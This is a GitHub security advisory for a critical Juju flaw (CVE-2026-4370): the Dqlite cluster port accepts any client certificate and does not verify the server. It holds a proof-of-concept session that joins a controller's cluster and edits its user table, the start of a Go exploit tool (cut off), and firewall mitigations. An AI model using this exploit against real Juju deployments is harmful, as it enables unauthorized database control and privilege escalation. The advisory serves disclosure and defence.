GitHub Advisoryadvisory · Go
GHSA-gvrj-cjch-728p Juju has Improper TLS Client/Server authentication and certificate verification on Database Cluster
CRITICAL
Official page ↗
- Aliases
- CVE-2026-4370
- Ecosystem
- Go
- Packages
- github.com/juju/juju
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-287, CWE-295, CWE-296
- Reviewed
- 2026-04-02
Affected packages
• Go github.com/juju/juju: <= 0.0.0-20260401092550-1c1ac1922b57 (no fix yet)
Description
Impact
Any Juju controller since 3.2.0.
An attacker with only route-ability to the target juju controller Dqlite cluster endpoint
may join the Dqlite cluster, read and modify all information, including escalating privileges,
open firewall ports etc.
This is due to not checking the client certificate, additionally, the client does not
check the server's certificate (MITM attack possible), so anything goes.
https://github.com/juju/juju/blob/001318f51ac456602aef20b123684f1eeeae9a77/internal/database/node.go#L312-L324
PoC
Using the tool referenced below.
Bootstrap a controller and show the users:
```
$ juju bootstrap lxd a
Creating Juju controller "a" on lxd/localhost
Looking for packaged Juju agent version 4.0.4 for amd64
Launching controller instance(s) on localhost/localhost...
• juju-fefd2b-0 (arch=amd64)
Installing Juju agent on bootstrap instance
Waiting for address
Attempting to connect to 10.151.236.15:22
Contacting Juju controller at 10.151.236.15 to verify accessibility...
Bootstrap complete, controller "a" is now available
Controller machines are in the "controller" model
Now you can run
juju add-model
to create a new model to deploy workloads.
$ juju users
Controller: a
Name Display name Access Date created Last connection
admin* admin superuser 1 minute ago just now
juju-metrics Juju Metrics login 1 minute ago never connected
everyone@external
```
Join the cluster with the first cluster member:
```
$ dqlite-demo --db 192.168.1.25:9999 --join 10.151.236.15:17666
dqlite interactive shell.
Enter SQL statements terminated with a semicolon.
Meta-commands: .switch .close .exit
Connected to database "demo".
demo>
```
Join the cluster with another cluster member and give the admin a new name:
```
dqlite-demo --db 192.168.1.25:9998 --join 10.151.236.15:17666
dqlite interactive shell.
Enter SQL statements terminated with a semicolon.
Meta-commands: .switch .close .exit
Connected to database "demo".
demo> .switch controller
Connected to database "controller".
controller> select * from user;
uuid | name | display_name | external | removed | created_by_uuid | created_at
-------------------------------------+-------------------+--------------+----------+---------+--------------------------------------+----------------------------------------
9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | admin | admin | false | false | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:25.816694339 +0000 UTC
4e1d65ae-564e-4c0e-8ef6-da8b7fb69b53 | juju-metrics | Juju Metrics | false | false | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:26.76549689 +0000 UTC
384c57af-57b1-40be-8e6e-7360371895d3 | everyone@external | | true | false | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:26.770215095 +0000 UTC
(3 row(s))
controller> update user set display_name='Silly Admin' where name='admin';
OK (1 row(s) affected)
controller>
```
The admin won't like this new name:
```
$ juju users
Controller: a
Name Display name Access Date created Last connection
admin* Silly Admin superuser 6 minutes ago just now
juju-metrics Juju Metrics login 6 minutes ago never connected
everyone@external
```
Patches
Juju versions 3.6.20 and 4.0.5 are patched to fix this issue.
Workarounds
The strongest protection is to apply the security updates. The following mitigations have also been explored. If security updates cannot be applied, you should only apply the following steps as a last resort and restore the original configuration file once updates are applied. Please note that modifying configuration files may stop future unattended upgrades from completing successfully, until these are reverted to the original content.
Option 1: Disable the HA (High Availability) controller. If your environment does not strictly require HA, reducing the cluster to a single controller removes the need for DQlite replication. Moreover, the port that replicates the vulnerability should be blocked, namely 17666.
Option 2: Restrict what IPs can communicate with port 17666, by implementing firewall rules to block all ingress traffic to this port. Only Juju controller IPs should be able to connect to this port.
To restrict access to the DQlite port to just the set of controller IPs, here's an example using ufw for a machine controller. This needs to be run on each controller. If the controller nodes change configuration, the rules will need to be updated accordingly.
You will need to enable access to the controller API port 17070 in accordance with your requirements for allowing clients to connect to the Juju controllers.
```
Retrict access to the Dqlite port.
sudo ufw allow from to any port 17666 proto tcp
sudo ufw allow from to any port 17666 proto tcp
sudo ufw allow from to any port 17666 proto tcp
sudo ufw deny 17666/tcp
Similarly, the mongo db port needs to allow controller access.
sudo ufw allow from to any port 37017 proto tcp
sudo ufw allow from to any port 37017 proto tcp
sudo ufw allow from to any port 37017 proto tcp
sudo ufw deny 37017/tcp
Allow access to the controller API port.
sudo ufw allow from to any port 17070 proto tcp
Allow access to the controller SSH port.
sudo ufw allow from to any port 22 proto tcp
Ensure the firewall is enabled.
sudo ufw enable
Check that the rules have been added correctly.
sudo ufw status
```
For Kubernetes controllers, HA is not supported. We recommend blocking access to port 17666. One way is to apply a network policy:
```
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: controller-0-17666-only-itself
namespace:
spec:
podSelector:
matchLabels:
app.kubernetes.io/name: controller
statefulset.kubernetes.io/pod-name: controller-0
policyTypes:
• Ingress
ingress:
• from:
• podSelector:
matchLabels:
app.kubernetes.io/name: controller
statefulset.kubernetes.io/pod-name: controller-0
ports:
• protocol: TCP
port: 17666
```
References
https://github.com/juju/juju/blob/001318f51ac456602aef20b123684f1eeeae9a77/internal/database/node.go#L312-L324
PoC Tool
Based on the go-dqlite demo app.
```go
package main
import (
"context"
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rand"
"crypto/tls"
"crypto/x509"
"crypto/x509/pkix"
"database/sql"
"encoding/pem"
"fmt"
"log"
"math/big"
"net"
"os"
"os/signal"
"path/filepath"
"strings"
"time"
"github.com/canonical/go-dqlite/v3/app"
"github.com/canonical/go-dqlite/v3/client"
"github.com/peterh/liner"
"github.com/pkg/errors"
"github.com/spf13/cobra"
"golang.org/x/sys/unix"
)
func generateSelfSignedCert() (tls.Certificate, error) {
key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
if err != nil {
return tls.Certificate{}, fmt.Errorf("generate key: %w", err)
}
tmpl := &x509.Certificate{
SerialNumber: big.NewInt(1),
Subject: pkix.Name{CommonName: "lol"},
NotBefore: time.Now(),
NotAfter: time.Now().Add(365 * 24 * time.Hour),
KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
IPAddresses: []net.IP{net.ParseIP("127.0.0.1")},
DNSNames: []string{"lol"},
}
certDER, err := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &key.PublicKey, key)
if err != nil {
return tls.Certificate{}, fmt.Errorf("create cert: %w", err)
}
keyDER, err := x509.MarshalECPrivateKey(key)
if err != nil {
return tls.Certificate{}, fmt.Errorf("marshal key: %w", err)
}
certPEM := pem.EncodeToMemory(&pem.Block{Type: "…
Related
Alias · CVE (1)
- CVE-2026-4370 A vulnerability was identified in Juju from version 3.2.0 until 3.6.19 and from version 4.0 until 4.0.4, where the internal Dqlite database… vulnerability